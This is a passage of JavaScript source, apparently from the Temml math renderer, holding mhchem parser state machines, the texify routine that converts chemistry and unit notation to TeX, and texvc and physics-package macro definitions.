6217 'underbrace-output': function (buffer, m) {
6218 return { type_: 'underbrace', p1: mhchemParser.go(m[0]), p2: mhchemParser.go(m[1]) };
6219 },
6220 'color-output': function (buffer, m) {
6221 return { type_: 'color', color1: m[0], color2: mhchemParser.go(m[1]) };
6222 },
6223 'r=': function (buffer, m) { buffer.r = m; },
6224 'rdt=': function (buffer, m) { buffer.rdt = m; },
6225 'rd=': function (buffer, m) { buffer.rd = m; },
6226 'rqt=': function (buffer, m) { buffer.rqt = m; },
6227 'rq=': function (buffer, m) { buffer.rq = m; },
6228 'operator': function (buffer, m, p1) { return { type_: 'operator', kind_: (p1 || m) }; }
6229 }
6230 },
6231 'a': {
6232 transitions: mhchemParser.createTransitions({
6233 'empty': {
6234 '*': {} },
6235 '1/2$': {
6236 '0': { action_: '1/2' } },
6237 'else': {
6238 '0': { nextState: '1', revisit: true } },
6239 '$(...)$': {
6240 '*': { action_: 'tex-math tight', nextState: '1' } },
6241 ',': {
6242 '*': { action_: { type_: 'insert', option: 'commaDecimal' } } },
6243 'else2': {
6244 '*': { action_: 'copy' } }
6245 }),
6246 actions: {}
6247 },
6248 'o': {
6249 transitions: mhchemParser.createTransitions({
6250 'empty': {
6251 '*': {} },
6252 '1/2$': {
6253 '0': { action_: '1/2' } },
6254 'else': {
6255 '0': { nextState: '1', revisit: true } },
6256 'letters': {
6257 '*': { action_: 'rm' } },
6258 '\\ca': {
6259 '*': { action_: { type_: 'insert', option: 'circa' } } },
6260 '\\x{}{}|\\x{}|\\x': {
6261 '*': { action_: 'copy' } },
6262 '${(...)}$|$(...)$': {
6263 '*': { action_: 'tex-math' } },
6264 '{(...)}': {
6265 '*': { action_: '{text}' } },
6266 'else2': {
6267 '*': { action_: 'copy' } }
6268 }),
6269 actions: {}
6270 },
6271 'text': {
6272 transitions: mhchemParser.createTransitions({
6273 'empty': {
6274 '*': { action_: 'output' } },
6275 '{...}': {
6276 '*': { action_: 'text=' } },
6277 '${(...)}$|$(...)$': {
6278 '*': { action_: 'tex-math' } },
6279 '\\greek': {
6280 '*': { action_: [ 'output', 'rm' ] } },
6281 '\\,|\\x{}{}|\\x{}|\\x': {
6282 '*': { action_: [ 'output', 'copy' ] } },
6283 'else': {
6284 '*': { action_: 'text=' } }
6285 }),
6286 actions: {
6287 'output': function (buffer) {
6288 if (buffer.text_) {
6289 /** @type {ParserOutput} */
6290 var ret = { type_: 'text', p1: buffer.text_ };
6291 for (var p in buffer) { delete buffer[p]; }
6292 return ret;
6293 }
6294 }
6295 }
6296 },
6297 'pq': {
6298 transitions: mhchemParser.createTransitions({
6299 'empty': {
6300 '*': {} },
6301 'state of aggregation $': {
6302 '*': { action_: 'state of aggregation' } },
6303 'i$': {
6304 '0': { nextState: '!f', revisit: true } },
6305 '(KV letters),': {
6306 '0': { action_: 'rm', nextState: '0' } },
6307 'formula$': {
6308 '0': { nextState: 'f', revisit: true } },
6309 '1/2$': {
6310 '0': { action_: '1/2' } },
6311 'else': {
6312 '0': { nextState: '!f', revisit: true } },
6313 '${(...)}$|$(...)$': {
6314 '*': { action_: 'tex-math' } },
6315 '{(...)}': {
6316 '*': { action_: 'text' } },
6317 'a-z': {
6318 'f': { action_: 'tex-math' } },
6319 'letters': {
6320 '*': { action_: 'rm' } },
6321 '-9.,9': {
6322 '*': { action_: '9,9' } },
6323 ',': {
6324 '*': { action_: { type_: 'insert+p1', option: 'comma enumeration S' } } },
6325 '\\color{(...)}{(...)}1|\\color(...){(...)}2': {
6326 '*': { action_: 'color-output' } },
6327 '\\color{(...)}0': {
6328 '*': { action_: 'color0-output' } },
6329 '\\ce{(...)}': {
6330 '*': { action_: 'ce' } },
6331 '\\,|\\x{}{}|\\x{}|\\x': {
6332 '*': { action_: 'copy' } },
6333 'else2': {
6334 '*': { action_: 'copy' } }
6335 }),
6336 actions: {
6337 'state of aggregation': function (buffer, m) {
6338 return { type_: 'state of aggregation subscript', p1: mhchemParser.go(m, 'o') };
6339 },
6340 'color-output': function (buffer, m) {
6341 return { type_: 'color', color1: m[0], color2: mhchemParser.go(m[1], 'pq') };
6342 }
6343 }
6344 },
6345 'bd': {
6346 transitions: mhchemParser.createTransitions({
6347 'empty': {
6348 '*': {} },
6349 'x$': {
6350 '0': { nextState: '!f', revisit: true } },
6351 'formula$': {
6352 '0': { nextState: 'f', revisit: true } },
6353 'else': {
6354 '0': { nextState: '!f', revisit: true } },
6355 '-9.,9 no missing 0': {
6356 '*': { action_: '9,9' } },
6357 '.': {
6358 '*': { action_: { type_: 'insert', option: 'electron dot' } } },
6359 'a-z': {
6360 'f': { action_: 'tex-math' } },
6361 'x': {
6362 '*': { action_: { type_: 'insert', option: 'KV x' } } },
6363 'letters': {
6364 '*': { action_: 'rm' } },
6365 '\'': {
6366 '*': { action_: { type_: 'insert', option: 'prime' } } },
6367 '${(...)}$|$(...)$': {
6368 '*': { action_: 'tex-math' } },
6369 '{(...)}': {
6370 '*': { action_: 'text' } },
6371 '\\color{(...)}{(...)}1|\\color(...){(...)}2': {
6372 '*': { action_: 'color-output' } },
6373 '\\color{(...)}0': {
6374 '*': { action_: 'color0-output' } },
6375 '\\ce{(...)}': {
6376 '*': { action_: 'ce' } },
6377 '\\,|\\x{}{}|\\x{}|\\x': {
6378 '*': { action_: 'copy' } },
6379 'else2': {
6380 '*': { action_: 'copy' } }
6381 }),
6382 actions: {
6383 'color-output': function (buffer, m) {
6384 return { type_: 'color', color1: m[0], color2: mhchemParser.go(m[1], 'bd') };
6385 }
6386 }
6387 },
6388 'oxidation': {
6389 transitions: mhchemParser.createTransitions({
6390 'empty': {
6391 '*': {} },
6392 'roman numeral': {
6393 '*': { action_: 'roman-numeral' } },
6394 '${(...)}$|$(...)$': {
6395 '*': { action_: 'tex-math' } },
6396 'else': {
6397 '*': { action_: 'copy' } }
6398 }),
6399 actions: {
6400 'roman-numeral': function (buffer, m) { return { type_: 'roman numeral', p1: m || "" }; }
6401 }
6402 },
6403 'tex-math': {
6404 transitions: mhchemParser.createTransitions({
6405 'empty': {
6406 '*': { action_: 'output' } },
6407 '\\ce{(...)}': {
6408 '*': { action_: [ 'output', 'ce' ] } },
6409 '{...}|\\,|\\x{}{}|\\x{}|\\x': {
6410 '*': { action_: 'o=' } },
6411 'else': {
6412 '*': { action_: 'o=' } }
6413 }),
6414 actions: {
6415 'output': function (buffer) {
6416 if (buffer.o) {
6417 /** @type {ParserOutput} */
6418 var ret = { type_: 'tex-math', p1: buffer.o };
6419 for (var p in buffer) { delete buffer[p]; }
6420 return ret;
6421 }
6422 }
6423 }
6424 },
6425 'tex-math tight': {
6426 transitions: mhchemParser.createTransitions({
6427 'empty': {
6428 '*': { action_: 'output' } },
6429 '\\ce{(...)}': {
6430 '*': { action_: [ 'output', 'ce' ] } },
6431 '{...}|\\,|\\x{}{}|\\x{}|\\x': {
6432 '*': { action_: 'o=' } },
6433 '-|+': {
6434 '*': { action_: 'tight operator' } },
6435 'else': {
6436 '*': { action_: 'o=' } }
6437 }),
6438 actions: {
6439 'tight operator': function (buffer, m) { buffer.o = (buffer.o || "") + "{"+m+"}"; },
6440 'output': function (buffer) {
6441 if (buffer.o) {
6442 /** @type {ParserOutput} */
6443 var ret = { type_: 'tex-math', p1: buffer.o };
6444 for (var p in buffer) { delete buffer[p]; }
6445 return ret;
6446 }
6447 }
6448 }
6449 },
6450 '9,9': {
6451 transitions: mhchemParser.createTransitions({
6452 'empty': {
6453 '*': {} },
6454 ',': {
6455 '*': { action_: 'comma' } },
6456 'else': {
6457 '*': { action_: 'copy' } }
6458 }),
6459 actions: {
6460 'comma': function () { return { type_: 'commaDecimal' }; }
6461 }
6462 },
6463 //#endregion
6464 //
6465 // \pu state machines
6466 //
6467 //#region pu
6468 'pu': {
6469 transitions: mhchemParser.createTransitions({
6470 'empty': {
6471 '*': { action_: 'output' } },
6472 'space$': {
6473 '*': { action_: [ 'output', 'space' ] } },
6474 '{[(|)]}': {
6475 '0|a': { action_: 'copy' } },
6476 '(-)(9)^(-9)': {
6477 '0': { action_: 'number^', nextState: 'a' } },
6478 '(-)(9.,9)(e)(99)': {
6479 '0': { action_: 'enumber', nextState: 'a' } },
6480 'space': {
6481 '0|a': {} },
6482 'pm-operator': {
6483 '0|a': { action_: { type_: 'operator', option: '\\pm' }, nextState: '0' } },
6484 'operator': {
6485 '0|a': { action_: 'copy', nextState: '0' } },
6486 '//': {
6487 'd': { action_: 'o=', nextState: '/' } },
6488 '/': {
6489 'd': { action_: 'o=', nextState: '/' } },
6490 '{...}|else': {
6491 '0|d': { action_: 'd=', nextState: 'd' },
6492 'a': { action_: [ 'space', 'd=' ], nextState: 'd' },
6493 '/|q': { action_: 'q=', nextState: 'q' } }
6494 }),
6495 actions: {
6496 'enumber': function (buffer, m) {
6497 /** @type {ParserOutput[]} */
6498 var ret = [];
6499 if (m[0] === "+-" || m[0] === "+/-") {
6500 ret.push("\\pm ");
6501 } else if (m[0]) {
6502 ret.push(m[0]);
6503 }
6504 if (m[1]) {
6505 mhchemParser.concatArray(ret, mhchemParser.go(m[1], 'pu-9,9'));
6506 if (m[2]) {
6507 if (m[2].match(/[,.]/)) {
6508 mhchemParser.concatArray(ret, mhchemParser.go(m[2], 'pu-9,9'));
6509 } else {
6510 ret.push(m[2]);
6511 }
6512 }
6513 m[3] = m[4] || m[3];
6514 if (m[3]) {
6515 m[3] = m[3].trim();
6516 if (m[3] === "e" || m[3].substr(0, 1) === "*") {
6517 ret.push({ type_: 'cdot' });
6518 } else {
6519 ret.push({ type_: 'times' });
6520 }
6521 }
6522 }
6523 if (m[3]) {
6524 ret.push("10^{"+m[5]+"}");
6525 }
6526 return ret;
6527 },
6528 'number^': function (buffer, m) {
6529 /** @type {ParserOutput[]} */
6530 var ret = [];
6531 if (m[0] === "+-" || m[0] === "+/-") {
6532 ret.push("\\pm ");
6533 } else if (m[0]) {
6534 ret.push(m[0]);
6535 }
6536 mhchemParser.concatArray(ret, mhchemParser.go(m[1], 'pu-9,9'));
6537 ret.push("^{"+m[2]+"}");
6538 return ret;
6539 },
6540 'operator': function (buffer, m, p1) { return { type_: 'operator', kind_: (p1 || m) }; },
6541 'space': function () { return { type_: 'pu-space-1' }; },
6542 'output': function (buffer) {
6543 /** @type {ParserOutput | ParserOutput[]} */
6544 var ret;
6545 var md = mhchemParser.patterns.match_('{(...)}', buffer.d || "");
6546 if (md && md.remainder === '') { buffer.d = md.match_; }
6547 var mq = mhchemParser.patterns.match_('{(...)}', buffer.q || "");
6548 if (mq && mq.remainder === '') { buffer.q = mq.match_; }
6549 if (buffer.d) {
6550 buffer.d = buffer.d.replace(/\u00B0C|\^oC|\^{o}C/g, "{}^{\\circ}C");
6551 buffer.d = buffer.d.replace(/\u00B0F|\^oF|\^{o}F/g, "{}^{\\circ}F");
6552 }
6553 if (buffer.q) { // fraction
6554 buffer.q = buffer.q.replace(/\u00B0C|\^oC|\^{o}C/g, "{}^{\\circ}C");
6555 buffer.q = buffer.q.replace(/\u00B0F|\^oF|\^{o}F/g, "{}^{\\circ}F");
6556 var b5 = {
6557 d: mhchemParser.go(buffer.d, 'pu'),
6558 q: mhchemParser.go(buffer.q, 'pu')
6559 };
6560 if (buffer.o === '//') {
6561 ret = { type_: 'pu-frac', p1: b5.d, p2: b5.q };
6562 } else {
6563 ret = b5.d;
6564 if (b5.d.length > 1 || b5.q.length > 1) {
6565 ret.push({ type_: ' / ' });
6566 } else {
6567 ret.push({ type_: '/' });
6568 }
6569 mhchemParser.concatArray(ret, b5.q);
6570 }
6571 } else { // no fraction
6572 ret = mhchemParser.go(buffer.d, 'pu-2');
6573 }
6574 for (var p in buffer) { delete buffer[p]; }
6575 return ret;
6576 }
6577 }
6578 },
6579 'pu-2': {
6580 transitions: mhchemParser.createTransitions({
6581 'empty': {
6582 '*': { action_: 'output' } },
6583 '*': {
6584 '*': { action_: [ 'output', 'cdot' ], nextState: '0' } },
6585 '\\x': {
6586 '*': { action_: 'rm=' } },
6587 'space': {
6588 '*': { action_: [ 'output', 'space' ], nextState: '0' } },
6589 '^{(...)}|^(-1)': {
6590 '1': { action_: '^(-1)' } },
6591 '-9.,9': {
6592 '0': { action_: 'rm=', nextState: '0' },
6593 '1': { action_: '^(-1)', nextState: '0' } },
6594 '{...}|else': {
6595 '*': { action_: 'rm=', nextState: '1' } }
6596 }),
6597 actions: {
6598 'cdot': function () { return { type_: 'tight cdot' }; },
6599 '^(-1)': function (buffer, m) { buffer.rm += "^{"+m+"}"; },
6600 'space': function () { return { type_: 'pu-space-2' }; },
6601 'output': function (buffer) {
6602 /** @type {ParserOutput | ParserOutput[]} */
6603 var ret = [];
6604 if (buffer.rm) {
6605 var mrm = mhchemParser.patterns.match_('{(...)}', buffer.rm || "");
6606 if (mrm && mrm.remainder === '') {
6607 ret = mhchemParser.go(mrm.match_, 'pu');
6608 } else {
6609 ret = { type_: 'rm', p1: buffer.rm };
6610 }
6611 }
6612 for (var p in buffer) { delete buffer[p]; }
6613 return ret;
6614 }
6615 }
6616 },
6617 'pu-9,9': {
6618 transitions: mhchemParser.createTransitions({
6619 'empty': {
6620 '0': { action_: 'output-0' },
6621 'o': { action_: 'output-o' } },
6622 ',': {
6623 '0': { action_: [ 'output-0', 'comma' ], nextState: 'o' } },
6624 '.': {
6625 '0': { action_: [ 'output-0', 'copy' ], nextState: 'o' } },
6626 'else': {
6627 '*': { action_: 'text=' } }
6628 }),
6629 actions: {
6630 'comma': function () { return { type_: 'commaDecimal' }; },
6631 'output-0': function (buffer) {
6632 /** @type {ParserOutput[]} */
6633 var ret = [];
6634 buffer.text_ = buffer.text_ || "";
6635 if (buffer.text_.length > 4) {
6636 var a = buffer.text_.length % 3;
6637 if (a === 0) { a = 3; }
6638 for (var i=buffer.text_.length-3; i>0; i-=3) {
6639 ret.push(buffer.text_.substr(i, 3));
6640 ret.push({ type_: '1000 separator' });
6641 }
6642 ret.push(buffer.text_.substr(0, a));
6643 ret.reverse();
6644 } else {
6645 ret.push(buffer.text_);
6646 }
6647 for (var p in buffer) { delete buffer[p]; }
6648 return ret;
6649 },
6650 'output-o': function (buffer) {
6651 /** @type {ParserOutput[]} */
6652 var ret = [];
6653 buffer.text_ = buffer.text_ || "";
6654 if (buffer.text_.length > 4) {
6655 var a = buffer.text_.length - 3;
6656 for (var i=0; i<a; i+=3) {
6657 ret.push(buffer.text_.substr(i, 3));
6658 ret.push({ type_: '1000 separator' });
6659 }
6660 ret.push(buffer.text_.substr(i));
6661 } else {
6662 ret.push(buffer.text_);
6663 }
6664 for (var p in buffer) { delete buffer[p]; }
6665 return ret;
6666 }
6667 }
6668 }
6669 //#endregion
6670 };
6671
6672 //
6673 // texify: Take MhchemParser output and convert it to TeX
6674 //
6675 /** @type {Texify} */
6676 var texify = {
6677 go: function (input, isInner) { // (recursive, max 4 levels)
6678 if (!input) { return ""; }
6679 var res = "";
6680 var cee = false;
6681 for (var i=0; i < input.length; i++) {
6682 var inputi = input[i];
6683 if (typeof inputi === "string") {
6684 res += inputi;
6685 } else {
6686 res += texify._go2(inputi);
6687 if (inputi.type_ === '1st-level escape') { cee = true; }
6688 }
6689 }
6690 if (!isInner && !cee && res) {
6691 res = "{" + res + "}";
6692 }
6693 return res;
6694 },
6695 _goInner: function (input) {
6696 if (!input) { return input; }
6697 return texify.go(input, true);
6698 },
6699 _go2: function (buf) {
6700 /** @type {undefined | string} */
6701 var res;
6702 switch (buf.type_) {
6703 case 'chemfive':
6704 res = "";
6705 var b5 = {
6706 a: texify._goInner(buf.a),
6707 b: texify._goInner(buf.b),
6708 p: texify._goInner(buf.p),
6709 o: texify._goInner(buf.o),
6710 q: texify._goInner(buf.q),
6711 d: texify._goInner(buf.d)
6712 };
6713 //
6714 // a
6715 //
6716 if (b5.a) {
6717 if (b5.a.match(/^[+\-]/)) { b5.a = "{"+b5.a+"}"; }
6718 res += b5.a + "\\,";
6719 }
6720 //
6721 // b and p
6722 //
6723 if (b5.b || b5.p) {
6724 res += "{\\vphantom{X}}";
6725 res += "^{\\hphantom{"+(b5.b||"")+"}}_{\\hphantom{"+(b5.p||"")+"}}";
6726 res += "{\\vphantom{X}}";
6727 // In the next two lines, I've removed \smash[t] (ron)
6728 // TODO: Revert \smash[t] when WebKit properly renders <mpadded> w/height="0"
6729 //res += "^{\\smash[t]{\\vphantom{2}}\\mathllap{"+(b5.b||"")+"}}";
6730 res += "^{\\vphantom{2}\\mathllap{"+(b5.b||"")+"}}";
6731 //res += "_{\\vphantom{2}\\mathllap{\\smash[t]{"+(b5.p||"")+"}}}";
6732 res += "_{\\vphantom{2}\\mathllap{"+(b5.p||"")+"}}";
6733 }
6734 //
6735 // o
6736 //
6737 if (b5.o) {
6738 if (b5.o.match(/^[+\-]/)) { b5.o = "{"+b5.o+"}"; }
6739 res += b5.o;
6740 }
6741 //
6742 // q and d
6743 //
6744 if (buf.dType === 'kv') {
6745 if (b5.d || b5.q) {
6746 res += "{\\vphantom{X}}";
6747 }
6748 if (b5.d) {
6749 res += "^{"+b5.d+"}";
6750 }
6751 if (b5.q) {
6752 // In the next line, I've removed \smash[t] (ron)
6753 // TODO: Revert \smash[t] when WebKit properly renders <mpadded> w/height="0"
6754 //res += "_{\\smash[t]{"+b5.q+"}}";
6755 res += "_{"+b5.q+"}";
6756 }
6757 } else if (buf.dType === 'oxidation') {
6758 if (b5.d) {
6759 res += "{\\vphantom{X}}";
6760 res += "^{"+b5.d+"}";
6761 }
6762 if (b5.q) {
6763 // A Firefox bug adds a bogus depth to <mphantom>, so we change \vphantom{X} to {}
6764 // TODO: Reinstate \vphantom{X} when the Firefox bug is fixed.
6765// res += "{\\vphantom{X}}";
6766 res += "{{}}";
6767 // In the next line, I've removed \smash[t] (ron)
6768 // TODO: Revert \smash[t] when WebKit properly renders <mpadded> w/height="0"
6769 //res += "_{\\smash[t]{"+b5.q+"}}";
6770 res += "_{"+b5.q+"}";
6771 }
6772 } else {
6773 if (b5.q) {
6774 // TODO: Reinstate \vphantom{X} when the Firefox bug is fixed.
6775// res += "{\\vphantom{X}}";
6776 res += "{{}}";
6777 // In the next line, I've removed \smash[t] (ron)
6778 // TODO: Revert \smash[t] when WebKit properly renders <mpadded> w/height="0"
6779 //res += "_{\\smash[t]{"+b5.q+"}}";
6780 res += "_{"+b5.q+"}";
6781 }
6782 if (b5.d) {
6783 // TODO: Reinstate \vphantom{X} when the Firefox bug is fixed.
6784// res += "{\\vphantom{X}}";
6785 res += "{{}}";
6786 res += "^{"+b5.d+"}";
6787 }
6788 }
6789 break;
6790 case 'rm':
6791 res = "\\mathrm{"+buf.p1+"}";
6792 break;
6793 case 'text':
6794 if (buf.p1.match(/[\^_]/)) {
6795 buf.p1 = buf.p1.replace(" ", "~").replace("-", "\\text{-}");
6796 res = "\\mathrm{"+buf.p1+"}";
6797 } else {
6798 res = "\\text{"+buf.p1+"}";
6799 }
6800 break;
6801 case 'roman numeral':
6802 res = "\\mathrm{"+buf.p1+"}";
6803 break;
6804 case 'state of aggregation':
6805 res = "\\mskip2mu "+texify._goInner(buf.p1);
6806 break;
6807 case 'state of aggregation subscript':
6808 res = "\\mskip1mu "+texify._goInner(buf.p1);
6809 break;
6810 case 'bond':
6811 res = texify._getBond(buf.kind_);
6812 if (!res) {
6813 throw ["MhchemErrorBond", "mhchem Error. Unknown bond type (" + buf.kind_ + ")"];
6814 }
6815 break;
6816 case 'frac':
6817 var c = "\\frac{" + buf.p1 + "}{" + buf.p2 + "}";
6818 res = "\\mathchoice{\\textstyle"+c+"}{"+c+"}{"+c+"}{"+c+"}";
6819 break;
6820 case 'pu-frac':
6821 var d = "\\frac{" + texify._goInner(buf.p1) + "}{" + texify._goInner(buf.p2) + "}";
6822 res = "\\mathchoice{\\textstyle"+d+"}{"+d+"}{"+d+"}{"+d+"}";
6823 break;
6824 case 'tex-math':
6825 res = buf.p1 + " ";
6826 break;
6827 case 'frac-ce':
6828 res = "\\frac{" + texify._goInner(buf.p1) + "}{" + texify._goInner(buf.p2) + "}";
6829 break;
6830 case 'overset':
6831 res = "\\overset{" + texify._goInner(buf.p1) + "}{" + texify._goInner(buf.p2) + "}";
6832 break;
6833 case 'underset':
6834 res = "\\underset{" + texify._goInner(buf.p1) + "}{" + texify._goInner(buf.p2) + "}";
6835 break;
6836 case 'underbrace':
6837 res = "\\underbrace{" + texify._goInner(buf.p1) + "}_{" + texify._goInner(buf.p2) + "}";
6838 break;
6839 case 'color':
6840 res = "{\\color{" + buf.color1 + "}{" + texify._goInner(buf.color2) + "}}";
6841 break;
6842 case 'color0':
6843 res = "\\color{" + buf.color + "}";
6844 break;
6845 case 'arrow':
6846 var b6 = {
6847 rd: texify._goInner(buf.rd),
6848 rq: texify._goInner(buf.rq)
6849 };
6850 var arrow = texify._getArrow(buf.r);
6851 if (b6.rq) { arrow += "[{\\rm " + b6.rq + "}]"; }
6852 if (b6.rd) {
6853 arrow += "{\\rm " + b6.rd + "}";
6854 } else {
6855 arrow += "{}";
6856 }
6857 res = arrow;
6858 break;
6859 case 'operator':
6860 res = texify._getOperator(buf.kind_);
6861 break;
6862 case '1st-level escape':
6863 res = buf.p1+" "; // &, \\\\, \\hlin
6864 break;
6865 case 'space':
6866 res = " ";
6867 break;
6868 case 'entitySkip':
6869 res = "~";
6870 break;
6871 case 'pu-space-1':
6872 res = "~";
6873 break;
6874 case 'pu-space-2':
6875 res = "\\mkern3mu ";
6876 break;
6877 case '1000 separator':
6878 res = "\\mkern2mu ";
6879 break;
6880 case 'commaDecimal':
6881 res = "{,}";
6882 break;
6883 case 'comma enumeration L':
6884 res = "{"+buf.p1+"}\\mkern6mu ";
6885 break;
6886 case 'comma enumeration M':
6887 res = "{"+buf.p1+"}\\mkern3mu ";
6888 break;
6889 case 'comma enumeration S':
6890 res = "{"+buf.p1+"}\\mkern1mu ";
6891 break;
6892 case 'hyphen':
6893 res = "\\text{-}";
6894 break;
6895 case 'addition compound':
6896 res = "\\,{\\cdot}\\,";
6897 break;
6898 case 'electron dot':
6899 res = "\\mkern1mu \\text{\\textbullet}\\mkern1mu ";
6900 break;
6901 case 'KV x':
6902 res = "{\\times}";
6903 break;
6904 case 'prime':
6905 res = "\\prime ";
6906 break;
6907 case 'cdot':
6908 res = "\\cdot ";
6909 break;
6910 case 'tight cdot':
6911 res = "\\mkern1mu{\\cdot}\\mkern1mu ";
6912 break;
6913 case 'times':
6914 res = "\\times ";
6915 break;
6916 case 'circa':
6917 res = "{\\sim}";
6918 break;
6919 case '^':
6920 res = "uparrow";
6921 break;
6922 case 'v':
6923 res = "downarrow";
6924 break;
6925 case 'ellipsis':
6926 res = "\\ldots ";
6927 break;
6928 case '/':
6929 res = "/";
6930 break;
6931 case ' / ':
6932 res = "\\,/\\,";
6933 break;
6934 default:
6935 assertNever(buf);
6936 throw ["MhchemBugT", "mhchem bug T. Please report."]; // Missing texify rule or unknown MhchemParser output
6937 }
6938 assertString(res);
6939 return res;
6940 },
6941 _getArrow: function (a) {
6942 switch (a) {
6943 case "->": return "\\yields";
6944 case "\u2192": return "\\yields";
6945 case "\u27F6": return "\\yields";
6946 case "<-": return "\\yieldsLeft";
6947 case "<->": return "\\mesomerism";
6948 case "<-->": return "\\yieldsLeftRight";
6949 case "<=>": return "\\equilibrium";
6950 case "\u21CC": return "\\equilibrium";
6951 case "<=>>": return "\\equilibriumRight";
6952 case "<<=>": return "\\equilibriumLeft";
6953 default:
6954 assertNever(a);
6955 throw ["MhchemBugT", "mhchem bug T. Please report."];
6956 }
6957 },
6958 _getBond: function (a) {
6959 switch (a) {
6960 case "-": return "{-}";
6961 case "1": return "{-}";
6962 case "=": return "{=}";
6963 case "2": return "{=}";
6964 case "#": return "{\\equiv}";
6965 case "3": return "{\\equiv}";
6966 case "~": return "{\\tripleDash}";
6967 case "~-": return "{\\tripleDashOverLine}";
6968 case "~=": return "{\\tripleDashOverDoubleLine}";
6969 case "~--": return "{\\tripleDashOverDoubleLine}";
6970 case "-~-": return "{\\tripleDashBetweenDoubleLine}";
6971 case "...": return "{{\\cdot}{\\cdot}{\\cdot}}";
6972 case "....": return "{{\\cdot}{\\cdot}{\\cdot}{\\cdot}}";
6973 case "->": return "{\\rightarrow}";
6974 case "<-": return "{\\leftarrow}";
6975 case "<": return "{<}";
6976 case ">": return "{>}";
6977 default:
6978 assertNever(a);
6979 throw ["MhchemBugT", "mhchem bug T. Please report."];
6980 }
6981 },
6982 _getOperator: function (a) {
6983 switch (a) {
6984 case "+": return " {}+{} ";
6985 case "-": return " {}-{} ";
6986 case "=": return " {}={} ";
6987 case "<": return " {}<{} ";
6988 case ">": return " {}>{} ";
6989 case "<<": return " {}\\ll{} ";
6990 case ">>": return " {}\\gg{} ";
6991 case "\\pm": return " {}\\pm{} ";
6992 case "\\approx": return " {}\\approx{} ";
6993 case "$\\approx$": return " {}\\approx{} ";
6994 case "v": return " \\downarrow{} ";
6995 case "(v)": return " \\downarrow{} ";
6996 case "^": return " \\uparrow{} ";
6997 case "(^)": return " \\uparrow{} ";
6998 default:
6999 assertNever(a);
7000 throw ["MhchemBugT", "mhchem bug T. Please report."];
7001 }
7002 }
7003 };
7004
7005 //
7006 // Helpers for code analysis
7007 // Will show type error at calling position
7008 //
7009 /** @param {number} a */
7010 function assertNever(a) {}
7011 /** @param {string} a */
7012 function assertString(a) {}
7013
7014/* eslint-disable no-undef */
7015
7016//////////////////////////////////////////////////////////////////////
7017// texvc.sty
7018
7019// The texvc package contains macros available in mediawiki pages.
7020// We omit the functions deprecated at
7021// https://en.wikipedia.org/wiki/Help:Displaying_a_formula#Deprecated_syntax
7022
7023// We also omit texvc's \O, which conflicts with \text{\O}
7024
7025defineMacro("\\darr", "\\downarrow");
7026defineMacro("\\dArr", "\\Downarrow");
7027defineMacro("\\Darr", "\\Downarrow");
7028defineMacro("\\lang", "\\langle");
7029defineMacro("\\rang", "\\rangle");
7030defineMacro("\\uarr", "\\uparrow");
7031defineMacro("\\uArr", "\\Uparrow");
7032defineMacro("\\Uarr", "\\Uparrow");
7033defineMacro("\\N", "\\mathbb{N}");
7034defineMacro("\\R", "\\mathbb{R}");
7035defineMacro("\\Z", "\\mathbb{Z}");
7036defineMacro("\\alef", "\\aleph");
7037defineMacro("\\alefsym", "\\aleph");
7038defineMacro("\\bull", "\\bullet");
7039defineMacro("\\clubs", "\\clubsuit");
7040defineMacro("\\cnums", "\\mathbb{C}");
7041defineMacro("\\Complex", "\\mathbb{C}");
7042defineMacro("\\Dagger", "\\ddagger");
7043defineMacro("\\diamonds", "\\diamondsuit");
7044defineMacro("\\empty", "\\emptyset");
7045defineMacro("\\exist", "\\exists");
7046defineMacro("\\harr", "\\leftrightarrow");
7047defineMacro("\\hArr", "\\Leftrightarrow");
7048defineMacro("\\Harr", "\\Leftrightarrow");
7049defineMacro("\\hearts", "\\heartsuit");
7050defineMacro("\\image", "\\Im");
7051defineMacro("\\infin", "\\infty");
7052defineMacro("\\isin", "\\in");
7053defineMacro("\\larr", "\\leftarrow");
7054defineMacro("\\lArr", "\\Leftarrow");
7055defineMacro("\\Larr", "\\Leftarrow");
7056defineMacro("\\lrarr", "\\leftrightarrow");
7057defineMacro("\\lrArr", "\\Leftrightarrow");
7058defineMacro("\\Lrarr", "\\Leftrightarrow");
7059defineMacro("\\natnums", "\\mathbb{N}");
7060defineMacro("\\plusmn", "\\pm");
7061defineMacro("\\rarr", "\\rightarrow");
7062defineMacro("\\rArr", "\\Rightarrow");
7063defineMacro("\\Rarr", "\\Rightarrow");
7064defineMacro("\\real", "\\Re");
7065defineMacro("\\reals", "\\mathbb{R}");
7066defineMacro("\\Reals", "\\mathbb{R}");
7067defineMacro("\\sdot", "\\cdot");
7068defineMacro("\\sect", "\\S");
7069defineMacro("\\spades", "\\spadesuit");
7070defineMacro("\\sub", "\\subset");
7071defineMacro("\\sube", "\\subseteq");
7072defineMacro("\\supe", "\\supseteq");
7073defineMacro("\\thetasym", "\\vartheta");
7074defineMacro("\\weierp", "\\wp");
7075
7076/* eslint-disable no-undef */
7077
7078/****************************************************
7079 *
7080 * physics.js
7081 *
7082 * Implements the Physics Package for LaTeX input.
7083 *
7084 * ---------------------------------------------------------------------
7085 *
7086 * The original version of this file is licensed as follows:
7087 * Copyright (c) 2015-2016 Kolen Cheung <https://github.com/ickc/MathJax-third-party-extensions>.
7088 *
7089 * Licensed under the Apache License, Version 2.0 (the "License");
7090 * you may not use this file except in compliance with the License.
7091 * You may obtain a copy of the License at
7092 *
7093 * http://www.apache.org/licenses/LICENSE-2.0
7094 *
7095 * Unless required by applicable law or agreed to in writing, software
7096 * distributed under the License is distributed on an "AS IS" BASIS,
7097 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
7098 * See the License for the specific language governing permissions and
7099 * limitations under the License.
7100 *
7101 * ---------------------------------------------------------------------
7102 *
7103 * This file has been revised from the original in the following ways:
7104 * 1. The interface is changed so that it can be called from Temml, not MathJax.
7105 * 2. \Re and \Im are not used, to avoid conflict with existing LaTeX letters.
7106 *
7107 * This revision of the file is released under the MIT license.
7108 * https://mit-license.org/
7109 */
7110defineMacro("\\quantity", "{\\left\\{ #1 \\right\\}}");
7111defineMacro("\\qty", "{\\left\\{ #1 \\right\\}}");
7112defineMacro("\\pqty", "{\\left( #1 \\right)}");
7113defineMacro("\\bqty", "{\\left[ #1 \\right]}");
7114defineMacro("\\vqty", "{\\left\\vert #1 \\right\\vert}");
7115defineMacro("\\Bqty", "{\\left\\{ #1 \\right\\}}");
7116defineMacro("\\absolutevalue", "{\\left\\vert #1 \\right\\vert}");
7117defineMacro("\\abs", "{\\left\\vert #1 \\right\\vert}");
